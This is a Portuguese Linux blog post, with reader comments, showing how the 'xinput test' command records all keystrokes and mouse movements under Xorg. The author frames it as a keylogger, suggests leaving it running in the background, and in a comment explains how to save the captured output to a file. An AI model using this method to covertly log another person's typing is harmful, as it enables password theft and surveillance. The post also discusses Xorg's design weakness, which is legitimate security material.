Como fazer um keylogger/mouse no linux ?

É bem simples, mais do que qualquer um pode imaginar… existe um comando chamado xinput, ele testa e configura dispositivos de entrada conectados ao Xorg, pois bem, para listar os devices conectados:

 

 

 

[liquuid@catalina ~]$ xinput list
⎡ Virtual core pointer                    	id=2	[master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer              	id=4	[slave  pointer  (2)]
⎜   ↳ Microsoft  Microsoft Basic Optical Mouse v2.0 	id=10	[slave  pointer  (2)]
⎣ Virtual core keyboard                   	id=3	[master keyboard (2)]
    ↳ Virtual core XTEST keyboard             	id=5	[slave  keyboard (3)]
    ↳ Power Button                            	id=6	[slave  keyboard (3)]
    ↳ Power Button                            	id=7	[slave  keyboard (3)]
    ↳   USB Keyboard                          	id=8	[slave  keyboard (3)]
    ↳   USB Keyboard                          	id=9	[slave  keyboard (3)]
    ↳ cx88 IR (Prolink Pixelview MPEG         	id=11	[slave  keyboard (3)]

 

 

 

Isso mostra o ID do meu teclado, no caso o número 8, então o comando abaixo é suficiente para capturar tudo que eu digitar:

 

 

[liquuid@catalina ~]$ xinput  test 8
key release 36 
key press   54 
ckey release 54 
key press   52 
zkey press   53 
xkey release 52 
key release 53 
key press   56 
bkey release 56 
key press   25 
wkey release 25

 

 

Basta então deixar isso rodando em background e processar as teclas digitadas com mais calma depois.

Um exemplo de código para o keylogger pode ser encontrado aqui.

 

Para nossa felicidade da pra gravar o mouse também, basta usar :

[liquuid@catalina ~]$ xinput  test 10
motion a[0]=1046 a[1]=270 
motion a[0]=1055 a[1]=269 
motion a[0]=1063 a[1]=266 
motion a[0]=1068 a[1]=264 
motion a[0]=1070 a[1]=264 
motion a[0]=1071 a[1]=263 
motion a[0]=1072 a[1]=262 
motion a[0]=1073 a[1]=261 
motion a[0]=1074 a[1]=260 
motion a[0]=1075 a[1]=259 
motion a[0]=1075 a[1]=258 
motion a[0]=1076 a[1]=257 
motion a[0]=1077 a[1]=256 
motion a[0]=1076 a[1]=256 
motion a[0]=1075 a[1]=255 
motion a[0]=1074 a[1]=255 
motion a[0]=1073 a[1]=255 
motion a[0]=1072 a[1]=255 
motion a[0]=1071 a[1]=255 
motion a[0]=1070 a[1]=255 
motion a[0]=1069 a[1]=254 
motion a[0]=1068 a[1]=253 
button press   1 
motion a[0]=1069 a[1]=252 
motion a[0]=1071 a[1]=252 
motion a[0]=1072 a[1]=252 
motion a[0]=1073 a[1]=252 
motion a[0]=1074 a[1]=253 
motion a[0]=1076 a[1]=254 
motion a[0]=1077 a[1]=254 
motion a[0]=1078 a[1]=254 
motion a[0]=1079 a[1]=254 
motion a[0]=1080 a[1]=255 
motion a[0]=1081 a[1]=256 
motion a[0]=1083 a[1]=257 
motion a[0]=1085 a[1]=258 
motion a[0]=1086 a[1]=259 
motion a[0]=1088 a[1]=260 
motion a[0]=1089 a[1]=260 
motion a[0]=1091 a[1]=262 
motion a[0]=1092 a[1]=263 
motion a[0]=1093 a[1]=264 
motion a[0]=1094 a[1]=265 
motion a[0]=1095 a[1]=265 
motion a[0]=1096 a[1]=266 
motion a[0]=1097 a[1]=267 
motion a[0]=1098 a[1]=268 
motion a[0]=1099 a[1]=269 
motion a[0]=1100 a[1]=270 
motion a[0]=1101 a[1]=271 
motion a[0]=1102 a[1]=272 
motion a[0]=1103 a[1]=272 
motion a[0]=1105 a[1]=273 
motion a[0]=1106 a[1]=274

 

Alguns encaram o xinput como uma mega falha de segurança e você caro leitor ?

Be Sociable, Share!

About liquuid

Work on It
This entry was posted in linux and tagged , , . Bookmark the permalink.

4 Responses to Como fazer um keylogger/mouse no linux ?

  1. wille says:

    Isso é perigoso mesmo. E se eu alterar a permissão dele para ser executado apenas como root, fica seguro?

  2. liquuid says:

    Na real, imagino que vários programas parem de funcionar caso a permissão dele seja alterada. É um problema de arquitetura do Xorg, ele foi feito para permitir esse tipo de coisa. Ao meu ver, a melhor forma de tratar esse tipo de problema é o isolamento de processos + ou – como já acontece no iphone e no PS3 onde a comunicação entre processos só acontece atravez de um supervisor.

  3. Gostaria de saber como faço para usar o keylogger em python que foi passado no link, fiz um fork[1] que corrige um erro por falta da codificação na segunda linha do script, no mais a dúvida é como gerar um arquivo de saída com os dados.

    O seu artigo gerou além deste fork uma página no meu wiki[2] de comandos linux[3]

    1 – https://gist.github.com/955569
    2 – http://linuxdicas.wikispaces.com/xinput
    3 – http://linuxdicas.wikispaces.com/comandos-linux

  4. liquuid says:

    Tem uma variavel output no fim do código que pode ser salva com um simples:

    open(‘saida.txt’,'w’).write(output) por exemplo

Comments are closed.